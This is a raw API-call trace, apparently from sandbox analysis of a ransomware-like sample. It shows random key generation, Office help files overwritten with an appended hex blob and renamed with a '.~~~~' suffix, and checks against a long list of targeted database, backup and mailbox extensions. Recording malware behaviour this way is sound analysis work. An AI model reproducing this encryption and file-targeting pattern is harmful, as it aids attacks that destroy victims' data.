	[0134.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.650] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0134.651] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.651] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0134.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.652] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25464166988) returned 1
	[0134.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9b25c10, dwHighDateTime=0x1d60e1e)) 
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cdc8
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cdc8 | out: hHeap=0x300000) returned 1
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4eb8
	[0134.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.652] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.653] GetLastError () returned 0x0
	[0134.653] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.653] GetLastError () returned 0x0
	[0134.654] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.654] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcd, lpOverlapped=0x0) returned 1
	[0134.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.655] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.655] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.655] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.655] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.655] CloseHandle (hObject=0x140) returned 1
	[0134.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4eb8
	[0134.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.~~~~")) returned 1
	[0134.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4eb8 | out: hHeap=0x300000) returned 1
	[0134.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.658] GetLastError () returned 0x0
	[0134.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.658] lstrlenW (lpString=".cmd") returned 4
	[0134.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.658] lstrlenW (lpString=".dll") returned 4
	[0134.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.658] lstrlenW (lpString=".bat") returned 4
	[0134.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.659] lstrlenW (lpString=".cpl") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.659] lstrlenW (lpString=".sys") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.659] lstrlenW (lpString=".msc") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.659] lstrlenW (lpString=".com") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".com") returned 0x0
	[0134.659] lstrlenW (lpString=".lnk") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.659] lstrlenW (lpString=".msp") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.659] lstrlenW (lpString=".pif") returned 4
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.659] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.661] lstrlenW (lpString=".sqb") returned 4
	[0134.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.662] lstrlenW (lpString=".ost") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.662] lstrlenW (lpString=".txt") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.662] lstrlenW (lpString=".mdt") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.662] lstrlenW (lpString=".BDB") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.662] lstrlenW (lpString=".eql") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.662] lstrlenW (lpString=".DBF") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.662] lstrlenW (lpString=".EQL") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.662] lstrlenW (lpString=".FDB") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.662] lstrlenW (lpString=".EDB") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.662] lstrlenW (lpString=".DACPAC") returned 7
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.662] lstrlenW (lpString=".VHD") returned 4
	[0134.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.662] lstrlenW (lpString=".DBV") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.663] lstrlenW (lpString=".dacpac") returned 7
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.663] lstrlenW (lpString=".sdf") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.663] lstrlenW (lpString=".accdb") returned 6
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.663] lstrlenW (lpString=".DBX") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.663] lstrlenW (lpString=".MDT") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.663] lstrlenW (lpString=".SQB") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.663] lstrlenW (lpString=".vhd") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.663] lstrlenW (lpString=".bac") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.663] lstrlenW (lpString=".mdf") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.663] lstrlenW (lpString=".BAK") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.663] lstrlenW (lpString=".BAC") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.663] lstrlenW (lpString=".dbs") returned 4
	[0134.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.663] lstrlenW (lpString=".vhdx") returned 5
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.664] lstrlenW (lpString=".NDF") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.664] lstrlenW (lpString=".dat") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.664] lstrlenW (lpString=".DBS") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.664] lstrlenW (lpString=".CKP") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.664] lstrlenW (lpString=".edb") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.664] lstrlenW (lpString=".PST") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.664] lstrlenW (lpString=".dbf") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.664] lstrlenW (lpString=".SQL") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.664] lstrlenW (lpString=".pst") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.664] lstrlenW (lpString=".dbv") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.664] lstrlenW (lpString=".SDF") returned 4
	[0134.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.664] lstrlenW (lpString=".dtxs") returned 5
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.665] lstrlenW (lpString=".db3") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.665] lstrlenW (lpString=".OST") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.665] lstrlenW (lpString=".dbx") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.665] lstrlenW (lpString=".DB3") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.665] lstrlenW (lpString=".DAT") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.665] lstrlenW (lpString=".VHDX") returned 5
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.665] lstrlenW (lpString=".ndf") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.665] lstrlenW (lpString=".DB") returned 3
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.665] lstrlenW (lpString=".sql") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.665] lstrlenW (lpString=".MYD") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.665] lstrlenW (lpString=".DBT") returned 4
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.665] lstrlenW (lpString=".ACCDB") returned 6
	[0134.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.665] lstrlenW (lpString=".fdb") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.666] lstrlenW (lpString=".bak") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.666] lstrlenW (lpString=".myd") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.666] lstrlenW (lpString=".DTXS") returned 5
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.666] lstrlenW (lpString=".ckp") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.666] lstrlenW (lpString=".dbt") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.666] lstrlenW (lpString=".db") returned 3
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".db") returned 0x0
	[0134.666] lstrlenW (lpString=".TXT") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.666] lstrlenW (lpString=".MDF") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.666] lstrlenW (lpString=".bdb") returned 4
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.666] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.667] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0134.742] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.742] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0134.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.749] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25473880561) returned 1
	[0134.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9c56710, dwHighDateTime=0x1d60e1e)) 
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cc78
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cc78 | out: hHeap=0x300000) returned 1
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4f50
	[0134.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.766] GetLastError () returned 0x0
	[0134.766] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.766] GetLastError () returned 0x0
	[0134.767] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.767] WriteFile (in: hFile=0x140, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0134.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0134.768] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.768] WriteFile (in: hFile=0x140, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.768] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.768] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.768] CloseHandle (hObject=0x140) returned 1
	[0134.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.768] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.~~~~")) returned 1
	[0134.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.771] GetLastError () returned 0x0
	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".scr") returned 0x0
	[0134.771] lstrlenW (lpString=".cmd") returned 4
